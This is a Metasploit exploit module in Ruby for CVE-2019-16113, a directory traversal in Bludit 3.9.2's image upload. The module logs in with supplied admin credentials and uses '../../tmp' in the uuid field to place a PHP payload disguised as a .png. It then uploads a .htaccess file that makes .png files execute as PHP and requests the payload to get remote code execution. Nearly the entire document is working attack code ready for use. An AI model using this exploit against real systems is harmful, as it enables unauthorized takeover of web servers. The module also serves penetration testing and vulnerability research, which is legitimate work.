Bludit – Directory Traversal Image File Upload (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE include Msf::Exploit::FileDropper include Msf::Auxiliary::Report def initialize(info={}) super(update_info(info, 'Name' => "Bludit Directory Traversal Image File Upload Vulnerability", 'Description' => %q{ This module exploits a vulnerability in Bludit. A remote user could abuse the uuid parameter in the image upload feature in order to save a malicious payload anywhere onto the server, and then use a custom .htaccess file to bypass the file extension check to finally get remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'christasa', # Original discovery 'sinn3r' # Metasploit module ], 'References' => [ ['CVE', '2019-16113'], ['URL', 'https://github.com/bludit/bludit/issues/1081'], ['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Notes' => { 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'Targets' => [ [ 'Bludit v3.9.2', {} ] ], 'Privileged' => false, 'DisclosureDate' => "2019-09-07", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']), OptString.new('BLUDITUSER', [true, 'The username for Bludit']), OptString.new('BLUDITPASS', [true, 'The password for Bludit']) ]) end class PhpPayload attr_reader :payload attr_reader :name def initialize(p) @payload = p @name = "#{Rex::Text.rand_text_alpha(10)}.png" end end class LoginBadge attr_reader :username attr_reader :password attr_accessor :csrf_token attr_accessor :bludit_key def initialize(user, pass, token, key) @username = user @password = pass @csrf_token = token @bludit_key = key end end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php') }) unless res vprint_error('Connection timed out') return CheckCode::Unknown end html = res.get_html_document generator_tag = html.at('meta[@name="generator"]') unless generator_tag vprint_error('No generator metadata tag found in HTML') return CheckCode::Safe end content_attr = generator_tag.attributes['content'] unless content_attr vprint_error("No content attribute found in metadata tag") return CheckCode::Safe end if content_attr.value == 'Bludit' return CheckCode::Detected end CheckCode::Safe end def get_uuid(login_badge) print_status('Retrieving UUID...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'), 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};" }) unless res fail_with(Failure::Unknown, 'Connection timed out') end html = res.get_html_document uuid_element = html.at('input[@name="uuid"]') unless uuid_element fail_with(Failure::Unknown, 'No UUID found in admin/new-content/') end uuid_val = uuid_element.attributes['value'] unless uuid_val && uuid_val.respond_to?(:value) fail_with(Failure::Unknown, 'No UUID value') end uuid_val.value end def upload_file(login_badge, uuid, content, fname) print_status("Uploading #{fname}...") data = Rex::MIME::Message.new data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"") data.add_part(uuid, nil, nil, 'form-data; name="uuid"') data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};", 'headers' => {'X-Requested-With' => 'XMLHttpRequest'}, 'data' => data.to_s }) unless res fail_with(Failure::Unknown, 'Connection timed out') end end def upload_php_payload_and_exec(login_badge) # From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/ # To: /var/www/html/bludit/bl-content/tmp uuid = get_uuid(login_badge) php_payload = get_php_payload upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name) # On the vuln app, this line occurs first: # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename); # Even though there is a file extension check, it won't really stop us # from uploading the .htaccess file. htaccess = <<~HTA RewriteEngine off AddType application/x-httpd-php .png HTA upload_file(login_badge, uuid, htaccess, ".htaccess") register_file_for_cleanup('.htaccess') print_status("Executing #{php_payload.name}...") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name) }) end def get_php_payload @php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true)) end def get_login_badge(res) cookies = res.get_cookies bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || '' html = res.get_html_document csrf_element = html.at('input[@name="tokenCSRF"]') unless csrf_element fail_with(Failure::Unknown, 'No tokenCSRF found') end csrf_val = csrf_element.attributes['value'] unless csrf_val && csrf_val.respond_to?(:value) fail_with(Failure::Unknown, 'No tokenCSRF value') end LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key) end def do_login res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php') }) unless res fail_with(Failure::Unknown, 'Connection timed out') end login_badge = get_login_badge(res) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};", 'vars_post' => { 'tokenCSRF' => login_badge.csrf_token, 'username' => login_badge.username, 'password' => login_badge.password } }) unless res fail_with(Failure::Unknown, 'Connection timed out') end # A new csrf value is generated, need to update this for the upload if res.headers['Location'].to_s.include?('/admin/dashboard') store_valid_credential(user: login_badge.username, private: login_badge.password) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'), 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};", }) unless res fail_with(Failure::Unknown, 'Connection timed out') end new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first login_badge.csrf_token = new_csrf if new_csrf return login_badge end fail_with(Failure::NoAccess, 'Authentication failed') end def exploit login_badge = do_login print_good("Logged in as: #{login_badge.username}") upload_php_payload_and_exec(login_badge) end end |